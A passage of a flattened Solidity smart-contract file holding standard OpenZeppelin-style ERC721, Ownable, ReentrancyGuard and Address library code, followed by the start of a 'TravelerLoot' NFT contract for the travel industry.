* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*/
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
/// @title A Loot-Derivative Project for the Travel Industry
/// @author jacmos3 - TripsCommunity
/// @notice Text-based NFTs thought for the Travel Industry appannage. Hotels, restaurants, hospitality etc can use them both in the real or metaverse worlds
contract TravelerLoot is ERC721Enumerable, ReentrancyGuard, Ownable {
uint256 private constant DISCOUNT_EXPIRATION = 1790553599; //Sun 27 Sep 2026 21:59:59 UTC
string private constant WHITE = "white";
string private constant BLACK = "black";
string private constant GOLD = "gold";
string private constant PLATINUM = "#D5D6D8";
string private constant GUILD = "GUILD";
string private constant PATRON = "PATRON";
string private constant CONQUEROR = "CONQUEROR";
string private constant OG_LOOT = "Loot (for Adventurers)";
uint160 private constant INITIAL_PRICE_FOR_PATRONS = 1 ether;
string private constant ERROR_TOKEN_ID_INVALID = "Token ID invalid";
string private constant ERROR_ADDRESS_NOT_VERIFIED = "Address not verified. Try another";
string private constant ERROR_NOT_THE_OWNER = "You do not own token(s) of the address";
string private constant ERROR_DOM_40TH_BIRTHDAY = "Only valid till Dom's 40th bday";
string private constant ERROR_LOW_VALUE = "Set a higher value";
string private constant ERROR_COMPETITION_ENDED = "Competition has ended. Check the Conqueror!";
string private constant ERROR_COMPETITION_ONGOING = "Conqueror not yet elected!";
string private constant ERROR_OWNER_NOT_ALLOWED = "Use claimByOwner() instead";
string private constant ERROR_ALREADY_ACTIVATED = "Already activated";
string private constant ERROR_COME_BACK_LATER = "Come back later";
string private constant ERROR_WITHDRAW_NEEDED = "Treasurer already changed. Perform a withdrawal before changing it";
